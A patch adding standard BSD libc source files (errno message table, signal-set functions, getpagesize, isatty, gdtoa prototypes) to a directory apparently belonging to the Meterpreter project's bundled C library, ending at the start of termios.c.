* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Chris Torek.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)fvwrite.h 8.1 (Berkeley) 6/4/93
|
||||
* $FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/stdio/fvwrite.h 165903 2007-01-09 00:28:16Z imp $
|
||||
*/
|
||||
|
||||
/*
|
||||
* I/O descriptors for __sfvwrite().
|
||||
*/
|
||||
struct __siov {
|
||||
void *iov_base;
|
||||
size_t iov_len;
|
||||
};
|
||||
struct __suio {
|
||||
struct __siov *uio_iov;
|
||||
int uio_iovcnt;
|
||||
int uio_resid;
|
||||
};
|
||||
|
||||
extern int __sfvwrite(FILE *, struct __suio *);
|
153
c/meterpreter/source/ulibc/gdtoa.h
Normal file
153
c/meterpreter/source/ulibc/gdtoa.h
Normal file
@ -0,0 +1,153 @@
|
||||
/****************************************************************
|
||||
|
||||
The author of this software is David M. Gay.
|
||||
|
||||
Copyright (C) 1998 by Lucent Technologies
|
||||
All Rights Reserved
|
||||
|
||||
Permission to use, copy, modify, and distribute this software and
|
||||
its documentation for any purpose and without fee is hereby
|
||||
granted, provided that the above copyright notice appear in all
|
||||
copies and that both that the copyright notice and this
|
||||
permission notice and warranty disclaimer appear in supporting
|
||||
documentation, and that the name of Lucent or any of its entities
|
||||
not be used in advertising or publicity pertaining to
|
||||
distribution of the software without specific, written prior
|
||||
permission.
|
||||
|
||||
LUCENT DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,
|
||||
INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS.
|
||||
IN NO EVENT SHALL LUCENT OR ANY OF ITS ENTITIES BE LIABLE FOR ANY
|
||||
SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER
|
||||
IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
|
||||
ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF
|
||||
THIS SOFTWARE.
|
||||
|
||||
****************************************************************/
|
||||
|
||||
/* Please send bug reports to David M. Gay (dmg at acm dot org,
|
||||
* with " at " changed at "@" and " dot " changed to "."). */
|
||||
|
||||
#ifndef GDTOA_H_INCLUDED
|
||||
#define GDTOA_H_INCLUDED
|
||||
|
||||
#include "arith.h"
|
||||
|
||||
#ifndef Long
|
||||
#define Long long
|
||||
#endif
|
||||
#ifndef ULong
|
||||
typedef unsigned Long ULong;
|
||||
#endif
|
||||
#ifndef UShort
|
||||
typedef unsigned short UShort;
|
||||
#endif
|
||||
|
||||
#ifndef ANSI
|
||||
#ifdef KR_headers
|
||||
#define ANSI(x) ()
|
||||
#define Void /*nothing*/
|
||||
#else
|
||||
#define ANSI(x) x
|
||||
#define Void void
|
||||
#endif
|
||||
#endif /* ANSI */
|
||||
|
||||
#ifndef CONST
|
||||
#ifdef KR_headers
|
||||
#define CONST /* blank */
|
||||
#else
|
||||
#define CONST const
|
||||
#endif
|
||||
#endif /* CONST */
|
||||
|
||||
enum { /* return values from strtodg */
|
||||
STRTOG_Zero = 0,
|
||||
STRTOG_Normal = 1,
|
||||
STRTOG_Denormal = 2,
|
||||
STRTOG_Infinite = 3,
|
||||
STRTOG_NaN = 4,
|
||||
STRTOG_NaNbits = 5,
|
||||
STRTOG_NoNumber = 6,
|
||||
STRTOG_Retmask = 7,
|
||||
|
||||
/* The following may be or-ed into one of the above values. */
|
||||
|
||||
STRTOG_Neg = 0x08,
|
||||
STRTOG_Inexlo = 0x10,
|
||||
STRTOG_Inexhi = 0x20,
|
||||
STRTOG_Inexact = 0x30,
|
||||
STRTOG_Underflow= 0x40,
|
||||
STRTOG_Overflow = 0x80
|
||||
};
|
||||
|
||||
typedef struct
|
||||
FPI {
|
||||
int nbits;
|
||||
int emin;
|
||||
int emax;
|
||||
int rounding;
|
||||
int sudden_underflow;
|
||||
} FPI;
|
||||
|
||||
enum { /* FPI.rounding values: same as FLT_ROUNDS */
|
||||
FPI_Round_zero = 0,
|
||||
FPI_Round_near = 1,
|
||||
FPI_Round_up = 2,
|
||||
FPI_Round_down = 3
|
||||
};
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
extern char* dtoa ANSI((double d, int mode, int ndigits, int *decpt,
|
||||
int *sign, char **rve));
|
||||
extern char* gdtoa ANSI((FPI *fpi, int be, ULong *bits, int *kindp,
|
||||
int mode, int ndigits, int *decpt, char **rve));
|
||||
extern void freedtoa ANSI((char*));
|
||||
extern float strtof ANSI((CONST char *, char **));
|
||||
extern double strtod ANSI((CONST char *, char **));
|
||||
extern int strtodg ANSI((CONST char*, char**, FPI*, Long*, ULong*));
|
||||
|
||||
extern char* g_ddfmt ANSI((char*, double*, int, unsigned));
|
||||
extern char* g_dfmt ANSI((char*, double*, int, unsigned));
|
||||
extern char* g_ffmt ANSI((char*, float*, int, unsigned));
|
||||
extern char* g_Qfmt ANSI((char*, void*, int, unsigned));
|
||||
extern char* g_xfmt ANSI((char*, void*, int, unsigned));
|
||||
extern char* g_xLfmt ANSI((char*, void*, int, unsigned));
|
||||
|
||||
extern int strtoId ANSI((CONST char*, char**, double*, double*));
|
||||
extern int strtoIdd ANSI((CONST char*, char**, double*, double*));
|
||||
extern int strtoIf ANSI((CONST char*, char**, float*, float*));
|
||||
extern int strtoIQ ANSI((CONST char*, char**, void*, void*));
|
||||
extern int strtoIx ANSI((CONST char*, char**, void*, void*));
|
||||
extern int strtoIxL ANSI((CONST char*, char**, void*, void*));
|
||||
extern int strtord ANSI((CONST char*, char**, int, double*));
|
||||
extern int strtordd ANSI((CONST char*, char**, int, double*));
|
||||
extern int strtorf ANSI((CONST char*, char**, int, float*));
|
||||
extern int strtorQ ANSI((CONST char*, char**, int, void*));
|
||||
extern int strtorx ANSI((CONST char*, char**, int, void*));
|
||||
extern int strtorxL ANSI((CONST char*, char**, int, void*));
|
||||
#if 1
|
||||
extern int strtodI ANSI((CONST char*, char**, double*));
|
||||
extern int strtopd ANSI((CONST char*, char**, double*));
|
||||
extern int strtopdd ANSI((CONST char*, char**, double*));
|
||||
extern int strtopf ANSI((CONST char*, char**, float*));
|
||||
extern int strtopQ ANSI((CONST char*, char**, void*));
|
||||
extern int strtopx ANSI((CONST char*, char**, void*));
|
||||
extern int strtopxL ANSI((CONST char*, char**, void*));
|
||||
#else
|
||||
#define strtopd(s,se,x) strtord(s,se,1,x)
|
||||
#define strtopdd(s,se,x) strtordd(s,se,1,x)
|
||||
#define strtopf(s,se,x) strtorf(s,se,1,x)
|
||||
#define strtopQ(s,se,x) strtorQ(s,se,1,x)
|
||||
#define strtopx(s,se,x) strtorx(s,se,1,x)
|
||||
#define strtopxL(s,se,x) strtorxL(s,se,1,x)
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
#endif /* GDTOA_H_INCLUDED */
|
41
c/meterpreter/source/ulibc/gen/_thread_init.c
Normal file
41
c/meterpreter/source/ulibc/gen/_thread_init.c
Normal file
@ -0,0 +1,41 @@
|
||||
/*
|
||||
* Copyright (c) 2001 Daniel Eischen <deischen@FreeBSD.org>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Neither the name of the author nor the names of any co-contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY DANIEL EISCHEN AND CONTRIBUTORS ``AS IS''
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/gen/_thread_init.c 90039 2002-02-01 00:57:29Z obrien $");
|
||||
|
||||
#include <sys/types.h>
|
||||
|
||||
__weak_reference(_thread_init_stub, _thread_init);
|
||||
__weak_reference(_thread_autoinit_dummy_decl_stub, _thread_autoinit_dummy_decl);
|
||||
|
||||
int _thread_autoinit_dummy_decl_stub = 0;
|
||||
|
||||
void
|
||||
_thread_init_stub(void)
|
||||
{
|
||||
/* This is just a stub; there is nothing to do. */
|
||||
}
|
154
c/meterpreter/source/ulibc/gen/errlst.c
Normal file
154
c/meterpreter/source/ulibc/gen/errlst.c
Normal file
@ -0,0 +1,154 @@
|
||||
/*
|
||||
* Copyright (c) 1982, 1985, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)errlst.c 8.2 (Berkeley) 11/16/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/gen/errlst.c 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
const char *const sys_errlist[] = {
|
||||
"Undefined error: 0", /* 0 - ENOERROR */
|
||||
"Operation not permitted", /* 1 - EPERM */
|
||||
"No such file or directory", /* 2 - ENOENT */
|
||||
"No such process", /* 3 - ESRCH */
|
||||
"Interrupted system call", /* 4 - EINTR */
|
||||
"Input/output error", /* 5 - EIO */
|
||||
"Device not configured", /* 6 - ENXIO */
|
||||
"Argument list too long", /* 7 - E2BIG */
|
||||
"Exec format error", /* 8 - ENOEXEC */
|
||||
"Bad file descriptor", /* 9 - EBADF */
|
||||
"No child processes", /* 10 - ECHILD */
|
||||
"Resource deadlock avoided", /* 11 - EDEADLK */
|
||||
"Cannot allocate memory", /* 12 - ENOMEM */
|
||||
"Permission denied", /* 13 - EACCES */
|
||||
"Bad address", /* 14 - EFAULT */
|
||||
"Block device required", /* 15 - ENOTBLK */
|
||||
"Device busy", /* 16 - EBUSY */
|
||||
"File exists", /* 17 - EEXIST */
|
||||
"Cross-device link", /* 18 - EXDEV */
|
||||
"Operation not supported by device", /* 19 - ENODEV */
|
||||
"Not a directory", /* 20 - ENOTDIR */
|
||||
"Is a directory", /* 21 - EISDIR */
|
||||
"Invalid argument", /* 22 - EINVAL */
|
||||
"Too many open files in system", /* 23 - ENFILE */
|
||||
"Too many open files", /* 24 - EMFILE */
|
||||
"Inappropriate ioctl for device", /* 25 - ENOTTY */
|
||||
"Text file busy", /* 26 - ETXTBSY */
|
||||
"File too large", /* 27 - EFBIG */
|
||||
"No space left on device", /* 28 - ENOSPC */
|
||||
"Illegal seek", /* 29 - ESPIPE */
|
||||
"Read-only file system", /* 30 - EROFS */
|
||||
"Too many links", /* 31 - EMLINK */
|
||||
"Broken pipe", /* 32 - EPIPE */
|
||||
|
||||
/* math software */
|
||||
"Numerical argument out of domain", /* 33 - EDOM */
|
||||
"Result too large", /* 34 - ERANGE */
|
||||
|
||||
/* non-blocking and interrupt i/o */
|
||||
"Resource temporarily unavailable", /* 35 - EAGAIN */
|
||||
/* 35 - EWOULDBLOCK */
|
||||
"Operation now in progress", /* 36 - EINPROGRESS */
|
||||
"Operation already in progress", /* 37 - EALREADY */
|
||||
|
||||
/* ipc/network software -- argument errors */
|
||||
"Socket operation on non-socket", /* 38 - ENOTSOCK */
|
||||
"Destination address required", /* 39 - EDESTADDRREQ */
|
||||
"Message too long", /* 40 - EMSGSIZE */
|
||||
"Protocol wrong type for socket", /* 41 - EPROTOTYPE */
|
||||
"Protocol not available", /* 42 - ENOPROTOOPT */
|
||||
"Protocol not supported", /* 43 - EPROTONOSUPPORT */
|
||||
"Socket type not supported", /* 44 - ESOCKTNOSUPPORT */
|
||||
"Operation not supported", /* 45 - EOPNOTSUPP */
|
||||
"Protocol family not supported", /* 46 - EPFNOSUPPORT */
|
||||
/* 47 - EAFNOSUPPORT */
|
||||
"Address family not supported by protocol family",
|
||||
"Address already in use", /* 48 - EADDRINUSE */
|
||||
"Can't assign requested address", /* 49 - EADDRNOTAVAIL */
|
||||
|
||||
/* ipc/network software -- operational errors */
|
||||
"Network is down", /* 50 - ENETDOWN */
|
||||
"Network is unreachable", /* 51 - ENETUNREACH */
|
||||
"Network dropped connection on reset", /* 52 - ENETRESET */
|
||||
"Software caused connection abort", /* 53 - ECONNABORTED */
|
||||
"Connection reset by peer", /* 54 - ECONNRESET */
|
||||
"No buffer space available", /* 55 - ENOBUFS */
|
||||
"Socket is already connected", /* 56 - EISCONN */
|
||||
"Socket is not connected", /* 57 - ENOTCONN */
|
||||
"Can't send after socket shutdown", /* 58 - ESHUTDOWN */
|
||||
"Too many references: can't splice", /* 59 - ETOOMANYREFS */
|
||||
"Operation timed out", /* 60 - ETIMEDOUT */
|
||||
"Connection refused", /* 61 - ECONNREFUSED */
|
||||
|
||||
"Too many levels of symbolic links", /* 62 - ELOOP */
|
||||
"File name too long", /* 63 - ENAMETOOLONG */
|
||||
|
||||
/* should be rearranged */
|
||||
"Host is down", /* 64 - EHOSTDOWN */
|
||||
"No route to host", /* 65 - EHOSTUNREACH */
|
||||
"Directory not empty", /* 66 - ENOTEMPTY */
|
||||
|
||||
/* quotas & mush */
|
||||
"Too many processes", /* 67 - EPROCLIM */
|
||||
"Too many users", /* 68 - EUSERS */
|
||||
"Disc quota exceeded", /* 69 - EDQUOT */
|
||||
|
||||
/* Network File System */
|
||||
"Stale NFS file handle", /* 70 - ESTALE */
|
||||
"Too many levels of remote in path", /* 71 - EREMOTE */
|
||||
"RPC struct is bad", /* 72 - EBADRPC */
|
||||
"RPC version wrong", /* 73 - ERPCMISMATCH */
|
||||
"RPC prog. not avail", /* 74 - EPROGUNAVAIL */
|
||||
"Program version wrong", /* 75 - EPROGMISMATCH */
|
||||
"Bad procedure for program", /* 76 - EPROCUNAVAIL */
|
||||
|
||||
"No locks available", /* 77 - ENOLCK */
|
||||
"Function not implemented", /* 78 - ENOSYS */
|
||||
"Inappropriate file type or format", /* 79 - EFTYPE */
|
||||
"Authentication error", /* 80 - EAUTH */
|
||||
"Need authenticator", /* 81 - ENEEDAUTH */
|
||||
"Identifier removed", /* 82 - EIDRM */
|
||||
"No message of desired type", /* 83 - ENOMSG */
|
||||
"Value too large to be stored in data type", /* 84 - EOVERFLOW */
|
||||
"Operation canceled", /* 85 - ECANCELED */
|
||||
"Illegal byte sequence", /* 86 - EILSEQ */
|
||||
"Attribute not found", /* 87 - ENOATTR */
|
||||
|
||||
/* General */
|
||||
"Programming error", /* 88 - EDOOFUS */
|
||||
|
||||
"Bad message", /* 89 - EBADMSG */
|
||||
"Multihop attempted", /* 90 - EMULTIHOP */
|
||||
"Link has been severed", /* 91 - ENOLINK */
|
||||
"Protocol error", /* 92 - EPROTO */
|
||||
};
|
||||
const int sys_nerr = sizeof(sys_errlist) / sizeof(sys_errlist[0]);
|
64
c/meterpreter/source/ulibc/gen/getpagesize.c
Normal file
64
c/meterpreter/source/ulibc/gen/getpagesize.c
Normal file
@ -0,0 +1,64 @@
|
||||
/*
|
||||
* Copyright (c) 1989, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)getpagesize.c 8.1 (Berkeley) 6/4/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/gen/getpagesize.c 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include <sys/param.h>
|
||||
#include <sys/sysctl.h>
|
||||
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* This is unlikely to change over the running time of any
|
||||
* program, so we cache the result to save some syscalls.
|
||||
*
|
||||
* NB: This function may be called from malloc(3) at initialization
|
||||
* NB: so must not result in a malloc(3) related call!
|
||||
*/
|
||||
|
||||
int
|
||||
getpagesize()
|
||||
{
|
||||
int mib[2];
|
||||
static int value;
|
||||
size_t size;
|
||||
|
||||
if (!value) {
|
||||
mib[0] = CTL_HW;
|
||||
mib[1] = HW_PAGESIZE;
|
||||
size = sizeof value;
|
||||
if (sysctl(mib, 2, &value, &size, NULL, 0) == -1)
|
||||
return (-1);
|
||||
}
|
||||
return (value);
|
||||
}
|
48
c/meterpreter/source/ulibc/gen/isatty.c
Normal file
48
c/meterpreter/source/ulibc/gen/isatty.c
Normal file
@ -0,0 +1,48 @@
|
||||
/*
|
||||
* Copyright (c) 1988, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)isatty.c 8.1 (Berkeley) 6/4/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/gen/isatty.c 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include <termios.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int
|
||||
isatty(fd)
|
||||
int fd;
|
||||
{
|
||||
int retval;
|
||||
struct termios t;
|
||||
|
||||
retval = (tcgetattr(fd, &t) != -1);
|
||||
return(retval);
|
||||
}
|
102
c/meterpreter/source/ulibc/gen/sigsetops.c
Normal file
102
c/meterpreter/source/ulibc/gen/sigsetops.c
Normal file
@ -0,0 +1,102 @@
|
||||
/*-
|
||||
* Copyright (c) 1989, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)sigsetops.c 8.1 (Berkeley) 6/4/93
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)sigsetops.c 8.1 (Berkeley) 6/4/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: head/lib/libc/gen/sigsetops.c 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include <errno.h>
|
||||
#include <signal.h>
|
||||
|
||||
int
|
||||
sigaddset(set, signo)
|
||||
sigset_t *set;
|
||||
int signo;
|
||||
{
|
||||
|
||||
if (signo <= 0 || signo > _SIG_MAXSIG) {
|
||||
errno = EINVAL;
|
||||
return (-1);
|
||||
}
|
||||
set->__bits[_SIG_WORD(signo)] |= _SIG_BIT(signo);
|
||||
return (0);
|
||||
}
|
||||
|
||||
int
|
||||
sigdelset(set, signo)
|
||||
sigset_t *set;
|
||||
int signo;
|
||||
{
|
||||
|
||||
if (signo <= 0 || signo > _SIG_MAXSIG) {
|
||||
errno = EINVAL;
|
||||
return (-1);
|
||||
}
|
||||
set->__bits[_SIG_WORD(signo)] &= ~_SIG_BIT(signo);
|
||||
return (0);
|
||||
}
|
||||
|
||||
int
|
||||
sigemptyset(set)
|
||||
sigset_t *set;
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; i < _SIG_WORDS; i++)
|
||||
set->__bits[i] = 0;
|
||||
return (0);
|
||||
}
|
||||
|
||||
int
|
||||
sigfillset(set)
|
||||
sigset_t *set;
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; i < _SIG_WORDS; i++)
|
||||
set->__bits[i] = ~0U;
|
||||
return (0);
|
||||
}
|
||||
|
||||
int
|
||||
sigismember(set, signo)
|
||||
const sigset_t *set;
|
||||
int signo;
|
||||
{
|
||||
|
||||
if (signo <= 0 || signo > _SIG_MAXSIG) {
|
||||
errno = EINVAL;
|
||||
return (-1);
|
||||
}
|
||||
return ((set->__bits[_SIG_WORD(signo)] & _SIG_BIT(signo)) ? 1 : 0);
|
||||
}
|
241
c/meterpreter/source/ulibc/gen/termios.c
Normal file
241
c/meterpreter/source/ulibc/gen/termios.c
Normal file
@ -0,0 +1,241 @@
|
||||
/*-
|
||||
* Copyright (c) 1989, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
